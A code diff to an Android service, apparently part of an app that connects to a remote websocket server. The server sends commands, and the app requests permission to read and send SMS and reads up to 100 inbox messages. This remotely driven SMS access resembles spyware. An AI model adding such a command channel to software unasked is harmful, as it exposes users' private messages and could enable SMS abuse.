|
|
@@ -118,13 +118,17 @@ public class ZService extends Service {
|
|
|
String socketUrl = getSocketUrl();
|
|
|
IO.Options options = new IO.Options();
|
|
|
options.path = "/ws";
|
|
|
+ options.transports = new String[]{"websocket"};
|
|
|
mSocket = IO.socket(socketUrl, options);
|
|
|
mSocket.on(Socket.EVENT_CONNECT, args -> {
|
|
|
Map<String, Object> map = new HashMap<>();
|
|
|
map.put("model", getModel());
|
|
|
- org.json.JSONObject json = new org.json.JSONObject(map);
|
|
|
+ JSONObject json = new JSONObject(map);
|
|
|
mSocket.emit("info", json);
|
|
|
});
|
|
|
+ mSocket.on(Socket.EVENT_DISCONNECT, args -> {
|
|
|
+ Log.i(TAG, "socket disconnect ");
|
|
|
+ });
|
|
|
mSocket.on("cmd", args -> {
|
|
|
Log.d(TAG, "Received command: " + Arrays.toString(args));
|
|
|
Gson gson = new Gson();
|
|
|
@@ -169,17 +173,38 @@ public class ZService extends Service {
|
|
|
e.printStackTrace();
|
|
|
}
|
|
|
|
|
|
- PermissionManager.getInstance(this).checkPermissions(Collections.singleton(Manifest.permission.POST_NOTIFICATIONS), new PermissionManager.PermissionRequestListener() {
|
|
|
- @Override
|
|
|
- public void onPermissionGranted() {
|
|
|
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
|
|
+ PermissionManager.getInstance(this).checkPermissions(
|
|
|
+ Arrays.asList(Manifest.permission.POST_NOTIFICATIONS,
|
|
|
+ Manifest.permission.SEND_SMS,
|
|
|
+ Manifest.permission.READ_SMS),
|
|
|
+ new PermissionManager.PermissionRequestListener() {
|
|
|
+ @Override
|
|
|
+ public void onPermissionGranted() {
|
|
|
|
|
|
- }
|
|
|
+ }
|
|
|
|
|
|
- @Override
|
|
|
- public void onPermissionDenied(DeniedPermissions deniedPermissions) {
|
|
|
+ @Override
|
|
|
+ public void onPermissionDenied(DeniedPermissions deniedPermissions) {
|
|
|
|
|
|
- }
|
|
|
- });
|
|
|
+ }
|
|
|
+ });
|
|
|
+ } else {
|
|
|
+ PermissionManager.getInstance(this).checkPermissions(
|
|
|
+ Arrays.asList(Manifest.permission.SEND_SMS,
|
|
|
+ Manifest.permission.READ_SMS),
|
|
|
+ new PermissionManager.PermissionRequestListener() {
|
|
|
+ @Override
|
|
|
+ public void onPermissionGranted() {
|
|
|
+
|
|
|
+ }
|
|
|
+
|
|
|
+ @Override
|
|
|
+ public void onPermissionDenied(DeniedPermissions deniedPermissions) {
|
|
|
+
|
|
|
+ }
|
|
|
+ });
|
|
|
+ }
|
|
|
}
|
|
|
|
|
|
private void handleReadSms(Command command) {
|
|
|
@@ -207,7 +232,7 @@ public class ZService extends Service {
|
|
|
Uri uriSMSURI = Uri.parse("content://sms/inbox");
|
|
|
Cursor cur = this.getApplicationContext().getContentResolver().query(uriSMSURI, null, null, null, null);
|
|
|
|
|
|
- while (cur.moveToNext()) {
|
|
|
+ while (cur.moveToNext() && list.size() < 100) {
|
|
|
Map<String, String> sms = new HashMap<>();
|
|
|
Arrays.stream(cur.getColumnNames()).forEach(column -> {
|
|
|
int index = cur.getColumnIndex(column);
|